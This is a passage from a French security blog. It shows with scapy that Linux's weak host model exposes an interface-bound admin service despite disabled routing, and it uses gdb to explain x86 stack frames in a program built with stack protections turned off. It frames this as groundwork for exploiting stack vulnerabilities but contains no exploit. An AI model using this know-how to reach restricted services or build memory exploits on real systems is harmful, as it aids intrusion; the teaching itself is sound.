TX packets:624989 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 lg file transmission:0
Octets reçus:41130183 (41.1 MB) Octets transmis:41130183 (41.1 MB)
# route -n
Table de routage IP du noyau
Destination Passerelle Genmask Indic Metric Ref Use Iface
10.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 eth0
0.0.0.0 10.0.0.1 0.0.0.0 UG 0 0 0 eth0</pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6vn4qPwsGFP41Z_FsQNF2UyhVARxRLYtPHmI2T8JDR67abIX_DYTRZYr-D3VkRuBqHQ6CnuEVs5oCLCCzXhY4XFtfRWg2Bg-2KeEInc66f-eG42Fuvkb3QIL5Xxj1md7b2HtvOaaZ3-o/s1600/linux_network.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6vn4qPwsGFP41Z_FsQNF2UyhVARxRLYtPHmI2T8JDR67abIX_DYTRZYr-D3VkRuBqHQ6CnuEVs5oCLCCzXhY4XFtfRWg2Bg-2KeEInc66f-eG42Fuvkb3QIL5Xxj1md7b2HtvOaaZ3-o/s1600/linux_network.png" /></a></div>
<br />
Faisons quelques tests de connectivité sur la machine cliente pour voir ce qu'il se passe.<br />
<br />
<div class="code">
<pre><span class="prompt">time0ut_client#</span> scapy
Welcome to Scapy (2.1.0)
<strong><span style="color: blue;">>>> </span></strong> srp1(Ether()/IP(dst="10.0.0.1")/ICMP())
Begin emission:
...Finished to send 1 packets.
*
Received 4 packets, got 1 answers, remaining 0 packets
<<strong><span style="color: red;">Ether</span></strong> <span style="color: blue;">dst</span>=<span style="color: purple;">00:17:42:2e:7d:77</span> <span style="color: blue;">src</span>=<span style="color: purple;">00:19:b9:0d:a1:6d</span> <span style="color: blue;">type</span>=<span style="color: purple;">0x800</span> |
<<strong><span style="color: red;">IP</span></strong> <span style="color: blue;">version</span>=<span style="color: purple;">4L</span> <span style="color: blue;">ihl</span>=<span style="color: purple;">5L</span> <span style="color: blue;">tos</span>=<span style="color: purple;">0x0</span> <span style="color: blue;">len</span>=<span style="color: purple;">28</span> <span style="color: blue;">id</span>=<span style="color: purple;">25698</span> <span style="color: blue;">flags</span>=<span style="color: purple;"></span> <span style="color: blue;">frag</span>=<span style="color: purple;">0L</span> <span style="color: blue;">ttl</span>=<span style="color: purple;">64</span> <span style="color: blue;">proto</span>=<span style="color: purple;">icmp</span> <span style="color: blue;">chksum</span>=<span style="color: purple;">0x27d</span> <span style="color: blue;">src</span>=<span style="color: purple;">10.0.0.1</span> <span style="color: blue;">dst</span>=<span style="color: purple;">10.0.0.2</span> <span style="color: blue;">options</span>=<span style="color: purple;">[]</span> |
<<strong><span style="color: red;">ICMP</span></strong> <span style="color: blue;">type</span>=<span style="color: purple;">echo-reply</span> <span style="color: blue;">code</span>=<span style="color: purple;">0</span> <span style="color: blue;">chksum</span>=<span style="color: purple;">0xffff</span> <span style="color: blue;">id</span>=<span style="color: purple;">0x0</span> <span style="color: blue;">seq</span>=<span style="color: purple;">0x0</span> |
<<strong><span style="color: red;">Padding</span></strong> <span style="color: blue;">load</span>=<span style="color: purple;">'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'</span> |>>>>
<strong><span style="color: blue;">>>> </span></strong> srp1(Ether()/IP(dst="192.168.0.1")/ICMP())
Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
<<strong><span style="color: red;">Ether</span></strong> <span style="color: blue;">dst</span>=<span style="color: purple;">00:17:42:2e:7d:77</span> <span style="color: blue;">src</span>=<span style="color: purple;">00:19:b9:0d:a1:6d</span> <span style="color: blue;">type</span>=<span style="color: purple;">0x800</span> |
<<strong><span style="color: red;">IP</span></strong> <span style="color: blue;">version</span>=<span style="color: purple;">4L</span> <span style="color: blue;">ihl</span>=<span style="color: purple;">5L</span> <span style="color: blue;">tos</span>=<span style="color: purple;">0x0</span> <span style="color: blue;">len</span>=<span style="color: purple;">28</span> <span style="color: blue;">id</span>=<span style="color: purple;">25699</span> <span style="color: blue;">flags</span>=<span style="color: purple;"></span> <span style="color: blue;">frag</span>=<span style="color: purple;">0L</span> <span style="color: blue;">ttl</span>=<span style="color: purple;">64</span> <span style="color: blue;">proto</span>=<span style="color: purple;">icmp</span> <span style="color: blue;">chksum</span>=<span style="color: purple;">0x4bd3</span> <span style="color: blue;">src</span>=<span style="color: purple;">192.168.0.1</span> <span style="color: blue;">dst</span>=<span style="color: purple;">10.0.0.2</span> <span style="color: blue;">options</span>=<span style="color: purple;">[]</span> |
<<strong><span style="color: red;">ICMP</span></strong> <span style="color: blue;">type</span>=<span style="color: purple;">echo-reply</span> <span style="color: blue;">code</span>=<span style="color: purple;">0</span> <span style="color: blue;">chksum</span>=<span style="color: purple;">0xffff</span> <span style="color: blue;">id</span>=<span style="color: purple;">0x0</span> <span style="color: blue;">seq</span>=<span style="color: purple;">0x0</span> |
<<strong><span style="color: red;">Padding</span></strong> <span style="color: blue;">load</span>=<span style="color: purple;">'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'</span> |>>>></pre>
</div>
<br />
Comme on peut le voir un <em>ping</em> passe du client vers <em>10.0.0.1</em> et aussi vers <em>192.168.0.1</em>. On remarque aussi que l'adresse <em>MAC</em> utilisée dans la réponse de <em>192.168.0.1</em> est bien celle de l'interface <em>eth0</em> du routeur soit celle qui a l'adresse IP <em>10.0.0.1</em>. Notre routeur fonctionne bien.<br />
<br />
Maintenant désactivons le routage sur notre routeur.<br />
<br />
<pre class="brush:plain"># sysctl -w net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
</pre>
Et refaisons le même test de connectivité.<br />
<br />
<div class="code">
<pre><span class="prompt">time0ut_client#</span> scapy
Welcome to Scapy (2.1.0)
<strong><span style="color: blue;">>>> </span></strong> srp1(Ether()/IP(dst="10.0.0.1")/ICMP())
Begin emission:
...Finished to send 1 packets.
*
Received 4 packets, got 1 answers, remaining 0 packets
<<strong><span style="color: red;">Ether</span></strong> <span style="color: blue;">dst</span>=<span style="color: purple;">00:17:42:2e:7d:77</span> <span style="color: blue;">src</span>=<span style="color: purple;">00:19:b9:0d:a1:6d</span> <span style="color: blue;">type</span>=<span style="color: purple;">0x800</span> |
<<strong><span style="color: red;">IP</span></strong> <span style="color: blue;">version</span>=<span style="color: purple;">4L</span> <span style="color: blue;">ihl</span>=<span style="color: purple;">5L</span> <span style="color: blue;">tos</span>=<span style="color: purple;">0x0</span> <span style="color: blue;">len</span>=<span style="color: purple;">28</span> <span style="color: blue;">id</span>=<span style="color: purple;">25698</span> <span style="color: blue;">flags</span>=<span style="color: purple;"></span> <span style="color: blue;">frag</span>=<span style="color: purple;">0L</span> <span style="color: blue;">ttl</span>=<span style="color: purple;">64</span> <span style="color: blue;">proto</span>=<span style="color: purple;">icmp</span> <span style="color: blue;">chksum</span>=<span style="color: purple;">0x27d</span> <span style="color: blue;">src</span>=<span style="color: purple;">10.0.0.1</span> <span style="color: blue;">dst</span>=<span style="color: purple;">10.0.0.2</span> <span style="color: blue;">options</span>=<span style="color: purple;">[]</span> |
<<strong><span style="color: red;">ICMP</span></strong> <span style="color: blue;">type</span>=<span style="color: purple;">echo-reply</span> <span style="color: blue;">code</span>=<span style="color: purple;">0</span> <span style="color: blue;">chksum</span>=<span style="color: purple;">0xffff</span> <span style="color: blue;">id</span>=<span style="color: purple;">0x0</span> <span style="color: blue;">seq</span>=<span style="color: purple;">0x0</span> |
<<strong><span style="color: red;">Padding</span></strong> <span style="color: blue;">load</span>=<span style="color: purple;">'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'</span> |>>>>
<strong><span style="color: blue;">>>> </span></strong> srp1(Ether()/IP(dst="192.168.0.1")/ICMP())
Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
<<strong><span style="color: red;">Ether</span></strong> <span style="color: blue;">dst</span>=<span style="color: purple;">00:17:42:2e:7d:77</span> <span style="color: blue;">src</span>=<span style="color: purple;">00:19:b9:0d:a1:6d</span> <span style="color: blue;">type</span>=<span style="color: purple;">0x800</span> |
<<strong><span style="color: red;">IP</span></strong> <span style="color: blue;">version</span>=<span style="color: purple;">4L</span> <span style="color: blue;">ihl</span>=<span style="color: purple;">5L</span> <span style="color: blue;">tos</span>=<span style="color: purple;">0x0</span> <span style="color: blue;">len</span>=<span style="color: purple;">28</span> <span style="color: blue;">id</span>=<span style="color: purple;">25699</span> <span style="color: blue;">flags</span>=<span style="color: purple;"></span> <span style="color: blue;">frag</span>=<span style="color: purple;">0L</span> <span style="color: blue;">ttl</span>=<span style="color: purple;">64</span> <span style="color: blue;">proto</span>=<span style="color: purple;">icmp</span> <span style="color: blue;">chksum</span>=<span style="color: purple;">0x4bd3</span> <span style="color: blue;">src</span>=<span style="color: purple;">192.168.0.1</span> <span style="color: blue;">dst</span>=<span style="color: purple;">10.0.0.2</span> <span style="color: blue;">options</span>=<span style="color: purple;">[]</span> |
<<strong><span style="color: red;">ICMP</span></strong> <span style="color: blue;">type</span>=<span style="color: purple;">echo-reply</span> <span style="color: blue;">code</span>=<span style="color: purple;">0</span> <span style="color: blue;">chksum</span>=<span style="color: purple;">0xffff</span> <span style="color: blue;">id</span>=<span style="color: purple;">0x0</span> <span style="color: blue;">seq</span>=<span style="color: purple;">0x0</span> |
<<strong><span style="color: red;">Padding</span></strong> <span style="color: blue;">load</span>=<span style="color: purple;">'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'</span> |>>>></pre>
</div>
<br />
Même résultat, les deux adresses IP fonctionnent parfaitement. Bien que le routage ne soit pas activé, l'adresse <em>192.168.0.1</em> reste toujours accessible, chose qui peut paraître surprenante.<br />
<br />
La raison pour cela est l'implémentation de la pile <u>IPv4</u> (l'implémentation IPv6 est différente) de Linux qui fonctionne dans le mode <a href="http://en.wikipedia.org/wiki/Host_model">Weak Host Model</a>. Dans ce mode là, les adresses IP sont associées à la machine alors que dans le <strong>Strong Host Model</strong>, les adresses IP sont associées à l'interface (chez Solaris, ou encore chez microsoft à partir de windows Vista mais c'est configurable). <br />
Dit autrement, ça donne que dans le fonctionnement <strong>Strong Host Model</strong> un paquet est autorisé si seulement sa destination correspond à l'adresse IP de l'interface sur laquelle il arrive, alors que dans le <strong>Weak Host Model</strong> un paquet est autorisé si sa destination correspond à au moins une adresse IP des interfaces de la machine.<br />
<br />
<u>Remarque</u>: L'interface <em>lo</em> est gérée de façon totalement différente.<br />
<br />
De ce fait, routage ou non l'adresse IP <em>192.168.0.1</em> reste toujours accessible.<br />
<br />
Il faut donc faire très attention quand nous avons un service qui écoute sur une interface bien précise, comme par exemple un service d'administration. Prenons <a href="http://httpd.apache.org/">Apache </a>par exemple et limitons son adresse d'écoute sur l'interface <em>eth1</em>.<br />
<br />
<pre class="brush:plain">...
<span style="color: cyan;">Listen</span> 192.168.0.1:80
...
</pre>
<br />
Vérifions que c'est bien le cas :<br />
<br />
<pre class="brush:plain"># netstat -atn | grep 80
tcp 0 0 192.168.0.1:80 0.0.0.0:* LISTEN
</pre>
Apache n'écoute bien que sur notre adresse IP <em>192.168.0.1</em>. Regardons que ce service est accessible malgrè que le routage soit désactivé :<br />
<br />
<div class="code">
<pre><span class="prompt">time0ut_client#</span> scapy
Welcome to Scapy (2.1.0)
<strong><span style="color: blue;">>>> </span></strong> sr1(IP(dst="192.168.0.1",src="10.0.0.2")/TCP(flags="S",dport=80))
Begin emission:
..Finished to send 1 packets.
*
Received 3 packets, got 1 answers, remaining 0 packets
<<strong><span style="color: red;">IP</span></strong> <span style="color: blue;">version</span>=<span style="color: purple;">4L</span> <span style="color: blue;">ihl</span>=<span style="color: purple;">5L</span> <span style="color: blue;">tos</span>=<span style="color: purple;">0x0</span> <span style="color: blue;">len</span>=<span style="color: purple;">44</span> <span style="color: blue;">id</span>=<span style="color: purple;">0</span> <span style="color: blue;">flags</span>=<span style="color: purple;">DF</span> <span style="color: blue;">frag</span>=<span style="color: purple;">0L</span> <span style="color: blue;">ttl</span>=<span style="color: purple;">64</span> <span style="color: blue;">proto</span>=<span style="color: purple;">tcp</span> <span style="color: blue;">chksum</span>=<span style="color: purple;">0x7021</span> <span style="color: blue;">src</span>=<span style="color: purple;">192.168.0.1</span> <span style="color: blue;">dst</span>=<span style="color: purple;">10.0.0.2</span> <span style="color: blue;">options</span>=<span style="color: purple;">[]</span> |
<<strong><span style="color: red;">TCP</span></strong> <span style="color: blue;">sport</span>=<span style="color: purple;">www</span> <span style="color: blue;">dport</span>=<span style="color: purple;">ftp_data</span> <span style="color: blue;">seq</span>=<span style="color: purple;">3809183495L</span> <span style="color: blue;">ack</span>=<span style="color: purple;">1</span> <span style="color: blue;">dataofs</span>=<span style="color: purple;">6L</span> <span style="color: blue;">reserved</span>=<span style="color: purple;">0L</span> <span style="color: blue;">flags</span>=<span style="color: purple;">SA</span> <span style="color: blue;">window</span>=<span style="color: purple;">5840</span> <span style="color: blue;">chksum</span>=<span style="color: purple;">0x4c23</span> <span style="color: blue;">urgptr</span>=<span style="color: purple;">0</span> <span style="color: blue;">options</span>=<span style="color: purple;">[('MSS', 1460)]</span> |
<<strong><span style="color: red;">Padding</span></strong> <span style="color: blue;">load</span>=<span style="color: purple;">'\x00\x00'</span> |>>></pre>
</div>
<br />
On peut voir le résultat dans le flag de la réponse TCP ici c'est un SA pour Syn-Ack. Un service est donc en écoute sur notre port 80, même si le routage n'est pas actif.<br />
<br />
<pre class="brush:plain"># curl http://192.168.0.1
Administration Page</pre>
<br />
Moralité, si vous voulez protéger vos services d'administration, utilisez plutôt un bon filtrage.ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com3tag:blogger.com,1999:blog-7133158144968101578.post-62124181555305169992011-03-26T11:07:00.000-07:002013-05-14T00:40:39.484-07:00Fonctionnement de la pileLa pile est un élément crucial dans un programme qui peut être l'objet de beaucoup d'attaques. Il est important de bien comprendre son fonctionnement si on veut être capable d'en exploiter ses vulnérabilités.<br />
Comme je l'ai expliqué dans la <a href="http://hack-and-fun.blogspot.fr/2011/03/segmentation-de-la-memoire-d-programme.html">Segmentation de la mémoire d’un programme</a>, lors de l'appel d'une fonction une zone de la pile est réservée appelée <em>stack frame</em>. Il permet de stocker tout les éléments nécessaires au bon fonctionnement de la fonction comme ses variables locales et ses arguments, et tout le nécessaire pour remettre la pile et le programme dans son état d'origine lorsque la fonction se sera terminée.<br />
<br />
Le nom du segment (stack) lui vient de sa façon de fonctionner, il se comporte comme une pile avec un fonctionnement LIFO (Last In First Out) ou FILO (ce qui revient au même). A chaque fois qu'une fonction est appelée, un <em>stack frame</em> est empilé dans la pile, et à chaque fois qu'une fonction se termine, un <em>stack frame</em> est dépilé.<br />
<div style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisufXXpcUDhhnihzZCR9NgVC-3rVrnzbTyos_OlhD3h9hyPPg8Lx-itVZD7hX3dfyZrS-GZooVdSWMe4I9stcc-KM-fs5UiOaT0waks6h21rxVVgN-qQqAsUCRpmZGWPUsjAdfFpfUBv4/s1600/stack_frame.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisufXXpcUDhhnihzZCR9NgVC-3rVrnzbTyos_OlhD3h9hyPPg8Lx-itVZD7hX3dfyZrS-GZooVdSWMe4I9stcc-KM-fs5UiOaT0waks6h21rxVVgN-qQqAsUCRpmZGWPUsjAdfFpfUBv4/s320/stack_frame.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br />
</div><br />
<div class="separator" style="clear: both; text-align: justify;">Voilà l'état de la pile dans le programme de mon précédent <a href="http://hack-and-fun.blogspot.fr/2011/03/segmentation-de-la-memoire-d-programme.html">post</a> juste avant le retour de la fonction <em>g()</em> appelée dans <em>f()</em>.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">La pile étant en réalité juste une zone mémoire, le programme a besoin de savoir où se trouve le sommet de la pile. Pour cela un registre du processeur existe et s'appelle <em>ESP</em> qui pointe toujours sur le sommet (paradoxalement le sommet de pile est l'adresse la plus basse de la pile). De la même façon un registre nommé <em>EBP</em> pointe sur le début du stack frame courant (et a donc une adresse plus haute).</div><h4>Exécution d'une fonction</h4>L'exécution d'une fonction se fait en plusieurs étapes :<br />
<ul><li>La préparation des arguments de la fonction</li>
<li>L'appel de la fonction</li>
<li>Prologue de la fonction qui va permettre de réserver l'espace nécessaire aux variables locales</li>
<li>L'exécution de la fonction</li>
<li>Le retour de la fonction et la libération du stack frame</li>
</ul>Chaque étape va être décrite précisément sur le programme suivant et grâce à <a href="http://www.gnu.org/software/gdb/">gdb</a> muni d'un <a href="http://reverse.put.as/wp-content/uploads/2010/04/gdbinit73">.gdbinit</a> bien configuré (merci au <a href="http://blog.stalkr.net/">blog de StalkR</a> pour me l'avoir fait découvrir).<br />
<pre class="brush:cpp">#include <stdio.h>
#include <stdlib.h>
void f(int x, int y) {
int local1 = 1;
char local2[] = "buffer";
return;
}
int main(int argc, char **argv) {
f(1,2);
return EXIT_SUCCESS;
}
</pre><pre class="brush:plain"># gcc stack_frame.c -w -O0 -ggdb -std=c99 -static -D_FORTIFY_SOURCE=0 -fno-pie -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack -o stack_frame
</pre>Il est important de bien compiler le programme avec les mêmes options, sinon <a href="http://gcc.gnu.org/">gcc</a> met certaines <a href="http://www.trl.ibm.com/projects/security/ssp/">protections</a> sur la pile qui vont rendre les choses plus compliquées à comprendre, comme l'inversion ou l'ajout de certaines zones mémoires. Cela s'appelle le SSP ou Stack Smashing Protection, que j'essaierai de développer dans un autre article.<br />
<br />
<h3>Préparation des arguments de la fonction</h3>On commence par désassembler le programme :<br />
<div class="code"><pre><span class="prompt">time0ut#</span> gdb -q stack_frame
Reading symbols from time0ut/stack_frame...done.
<span style="color: red;">gdb$</span> dis main
Dump of assembler code for function main:
0x080482c0 <+0>: push ebp
0x080482c1 <+1>: mov ebp,esp
0x080482c3 <+3>: sub esp,0x8
<strong> 0x080482c6 <+6>: mov DWORD PTR [esp+0x4],0x2
0x080482ce <+14>: mov DWORD PTR [esp],0x1</strong>
0x080482d5 <+21>: call 0x80482a0 <f>
0x080482da <+26>: mov eax,0x0
0x080482df <+31>: leave
0x080482e0 <+32>: ret
End of assembler dump.1
<span style="color: red;">gdb$</span> dis f
Dump of assembler code for function f:
0x080482a0 <+0>: push ebp
0x080482a1 <+1>: mov ebp,esp
0x080482a3 <+3>: sub esp,0x10
0x080482a6 <+6>: mov DWORD PTR [ebp-0x4],0x1
0x080482ad <+13>: mov DWORD PTR [ebp-0xb],0x66667562
0x080482b4 <+20>: mov WORD PTR [ebp-0x7],0x7265
0x080482ba <+26>: mov BYTE PTR [ebp-0x5],0x0
0x080482be <+30>: leave
0x080482bf <+31>: ret
End of assembler dump.
<span style="color: red;">gdb$</span> b *0x080482d5
Breakpoint 1 at 0x080482d5: file stack_frame.c, line 11.
<span style="color: red;">gdb$</span> r
Breakpoint 1, 0x080482d5 in main (argc=0x1, argv=0xbffff324) at stack_frame.c:11
11 f(1,2);
<span style="color: red;">gdb$</span> x/2xw $esp
0xbffff280: 0x00000001 0x00000002</f></pre></div><br />
<br />
Les deux commandes spécifiées en gras permettent de mettre les arguments de la fonction sur la pile. L'argument 2 est mis en premier puis l'argument 1. <u>Lors de l'appel d'une fonction les arguments sont donc mis dans l'ordre inverse</u>.<br />
La commande gdb <em><span style="color: blue;">x</span>/<span style="color: red;">2</span><span style="color: green;">x</span><span style="color: red;">w</span> $esp</em> permet d'afficher <span style="color: red;">2 mots</span> (2*4 octets) en <span style="color: green;">hexadécimal</span> <span style="color: blue;">à l'adresse pointée</span> par <em>ESP</em> qui a pour valeur <em>0xbffff280</em>. On affiche donc 2 éléments de la pile qui sont les arguments 1 et 2.<br />
<br />
L'état de la pile avant l'appel de la fonction (c'est à dire avant l'exécution de <em>call 0x80482a0</em>) est donc comme suit :<br />
<div style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEAGs8VTqwqw9sJQdajPqjspL1ccmiknqd5pHTKrBiy4NfaJb4J2WC0F6zdOQAPt_W6lWkUreDV66XLizsfz8squ1hxC2u_CH3lr8MDUFkU5Uv0QxClLac-wuFU3IpIr9qbFqBAIsW5sk/s1600/stack_before_call.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEAGs8VTqwqw9sJQdajPqjspL1ccmiknqd5pHTKrBiy4NfaJb4J2WC0F6zdOQAPt_W6lWkUreDV66XLizsfz8squ1hxC2u_CH3lr8MDUFkU5Uv0QxClLac-wuFU3IpIr9qbFqBAIsW5sk/s1600/stack_before_call.png" /></a></div><h3>Appel de la fonction</h3>Une fois les arguments de la fonction empilés, l'appel peut se faire via la commande <em>call</em>, qui se fait à l'adresse <em>0x080482d5</em>. La commande <em>call</em> a deux objectifs :<br />
<ul><li>Sauvegarder dans la pile l'adresse de l'instruction qui suit le <em>call</em> ce qui permettra de reprendre où on en est à la fin de l'exécution de la fonction. Cela se fera grâce au registre <strong>EIP</strong> qui pointe toujours sur la prochaine instruction à exécuter.</li>
<li>Sauter dans le code (segment <em>text</em>) de la fonction en modifiant le registre <strong>EIP</strong> pour que celui ci pointe sur la première instruction de la fonction et dont l'adresse est passée en paramètre à <em>call</em>.</li>
</ul><br />
On vérifie tout cela avec gdb :<br />
<div class="code"><pre><span style="color: red;">gdb$</span> print/x $eip
$1 = 0x80482d5 <span style="color: green;"># EIP pointe bien pour le moment sur l'instruction call</span>
<span style="color: grey;">=> 0x80482d5 <main>: call 0x80482a0 <f>
0x80482da <main>: mov eax,0x0
0x80482df <main>: leave</main></main></f></main></span>
<span style="color: red;">gdb$</span> stepi <span style="color: green;"># On exécute le call et donc on rentre dans la fonction</span>
<span style="color: red;">gdb$</span> print/x $eip
$2 = 0x80482a0 <span style="color: green;"># Après le call EIP pointe sur la première instruction de f</span>
<span style="color: grey;">=> 0x80482a0 <f>: push ebp
0x80482a1 <f>: mov ebp,esp
0x80482a3 <f>: sub esp,0x10</f></f></f></span>
<span style="color: red;">gdb$</span> x/3xw $esp
0xbffff27c: 0x080482da 0x00000001 0x00000002 <span style="color: green;"># Le sommet de pile a bougé et on a maintenant l'adresse de la prochaine instruction a exécuter après f</span></pre></div><br />
On peut remarquer que la prochaine instruction à exécuter après la fonction (0x080482da) se trouve 5 octets plus haut que l'instruction du <em>call</em>. C'est toujours le cas, car la taille de l'instruction <em>call</em> est de 5 octets. <br />
<br />
Après le call, la tête de notre pile est donc la suivante :<br />
<div style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjLU7Aurihv3OIzi-CSCPX2-8c1Tp_CW-guVFHcJLp7lDTN_cFamjXW-WjEWAT5CE9nupgM6Sx-gvP3hMGhj4zS4zNivd1tDuNey9xpxQUvKYWZQs-K4YC0m3xWJYM7sHUyLC-A5BH1ZQ/s1600/stack_after_call.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjLU7Aurihv3OIzi-CSCPX2-8c1Tp_CW-guVFHcJLp7lDTN_cFamjXW-WjEWAT5CE9nupgM6Sx-gvP3hMGhj4zS4zNivd1tDuNey9xpxQUvKYWZQs-K4YC0m3xWJYM7sHUyLC-A5BH1ZQ/s1600/stack_after_call.png" /></a></div><center></center><h3>Prologue de la fonction</h3>Le prologue de la fonction va permettre de réserver l'espace nécessaire pour stocker les variables locales. Il est constitué de 3 instructions :<br />
<ul><li><strong>push ebp</strong></li>
Cette instruction va permettre de sauvegarder le registre <em>EBP</em> qui pointe encore sur le début du <em>stack frame</em> de la fonction appelante. Cela permettra de le restaurer après la fin de la fonction courante.</ul><ul><li><strong>mov ebp,esp</strong></li>
Cette instruction permet de dire au programme que le début du <em>stack frame</em> commence ici. Heureusement on vient de sauvegarder <em>EBP</em>, donc on a pas perdu sa valeur.</ul><ul><li><strong>sub esp,0x10</strong></li>
Cette instruction permet de réserver l'espace nécessaire aux variables locales de la fonction. Dans notre cas, on réserve 0x10 soit 16 octets. En réalité nous n'aurions besoin de réserver que 12 octets (local1 fait 4 octets et local2 7 octets, mais comme on fonctionne par mot de 4 octets, cela fait 12). Cependant le compilateur gcc alloue un supplément de mémoire.
Il faut noter que comme la pile grandit vers les adresses basses, la réservation d'espace se fait via une soustraction et non une addition.</ul>On vérifie tout cela avec gdb:<br />
<div class="code"><pre><span style="color: red;">gdb$</span> print/x $ebp
$3 = 0xbffff288
<span style="color: red;">gdb$</span> stepi <span style="color: green;"># Exécution de push ebp</span>
<span style="color: red;">gdb$</span> x/4xw $esp
0xbffff278: 0xbffff288 0x080482da x00000001 0x00000002 <span style="color: green;"># Le sommet de pile a bougé et on a maintenant l'adresse de EBP</span>
<span style="color: red;">gdb$</span> stepi <span style="color: green;"># Exécution de mov ebp,esp</span>
<span style="color: red;">gdb$</span> x/4xw $ebp
0xbffff278: 0xbffff288 0x080482da x00000001 0x00000002 <span style="color: green;"># EBP et ESP pointent sur la même zone mémoire</span>
<span style="color: red;">gdb$</span> stepi <span style="color: green;"># Exécution de sub esp,0x10</span>
<span style="color: red;">gdb$</span> print/d $ebp-$esp
$4 = 16 <span style="color: green;"># On vient de réserver 16 octets</span>
<span style="color: red;">gdb$</span> stepi <span style="color: green;"># On passe toutes les inialisations des variables locales</span>
<span style="color: red;">gdb$</span> stepi
<span style="color: red;">gdb$</span> stepi
<span style="color: grey;">=> 0x80482be <f>: leave
0x80482bf <f>: ret
0x80482c0 <main>: push ebp</main></f></f></span>
<span style="color: red;">gdb$</span> x/8xw $esp
0xbffff268: 0x080cd0ac 0x66756200 0x00726566 0x00000001
0xbffff278: 0xbffff288 0x080482da 0x00000001 0x00000002</pre></div><br />
La valeur <em>0x080cd0ac</em> sur le sommet de pile est une valeur ajoutée par gcc. Elle ne nous intéresse pas. Les valeurs <em>0x66756200</em> et <em>0x00726566</em> sont en réalité la variable locale appelée local2 dans f() : 0x66 (f) 0x75 (u) 0x62 (b) 0x72 (r) 0x65 (e) 0x66 (f). La valeur suivante est la variable local1.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKlgNxf8eFMWoa58V5teEW1peRKqaDnBigTkOQ3h0dJqjoNjY0bn-8mtMH4-xUzUFqtRi1b1GF9nQGYkb3tkkA9fghNTaa2lZkX_33w0sS8nr1BM0q72A5LTcgMYFSfk_xMdfqRUWBjyI/s1600/prologue.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKlgNxf8eFMWoa58V5teEW1peRKqaDnBigTkOQ3h0dJqjoNjY0bn-8mtMH4-xUzUFqtRi1b1GF9nQGYkb3tkkA9fghNTaa2lZkX_33w0sS8nr1BM0q72A5LTcgMYFSfk_xMdfqRUWBjyI/s1600/prologue.png" /></a></div><center></center><div class="code"><pre><span style="color: red;">gdb$</span> x/12b
0xbffff26c: 0x00 0x62 0x75 0x66 0x66 0x65 0x72 0x00
0xbffff274: 0x01 0x00 0x00 0x00</pre></div><br />
<br />
Comme on peut le voir ici, et plus particulièrement à l'adresse <em>0xbffff274</em>, les octets sont stockés en mémoire dans le sens inverse, c'est à dire que les octets de poids faible sont stockées en premier. Ceci est dû au fait je tourne sur une architecture x86 qui est en <a href="http://fr.wikipedia.org/wiki/Endianness">little endian</a>.<br />
<br />
Voilà ce que donne la mémoire si on précise l'ordre des octets :<br />
<div style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEr9lAoq7c7mt2rKN-V0Jq8dH0S3ADrz6lPmOVAimkltBPBeKLBKFFdlHhAsdB7wt1NFsxGHrk3JS1Wayrh2UY1bwLa9bGIAHYy3bUeZJ_Geb7KNf8bcY3GY6qIzZ43-N5Cg-gkvKARoc/s1600/stack_little_endian.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEr9lAoq7c7mt2rKN-V0Jq8dH0S3ADrz6lPmOVAimkltBPBeKLBKFFdlHhAsdB7wt1NFsxGHrk3JS1Wayrh2UY1bwLa9bGIAHYy3bUeZJ_Geb7KNf8bcY3GY6qIzZ43-N5Cg-gkvKARoc/s1600/stack_little_endian.png" /></a></div><br />
Si la variable local2 commence à l'adresse <em>0xbffff26d</em> et non à l'adresse <em>0xbffff26c</em> c'est car le compilateur connaît exactement la taille du buffer qui fait 7 octets (taille de la chaine "buffer" + \0). L'octet 0x00 de l'adresse <em>0xbffff26c</em>, est juste du padding.<br />
<h3>Retour de la fonction et libération du stack frame</h3>Le retour d'une fonction se fait par les instructions <em>leave</em> puis <em>ret</em>.<br />
<ul><li>Instruction leave</li>
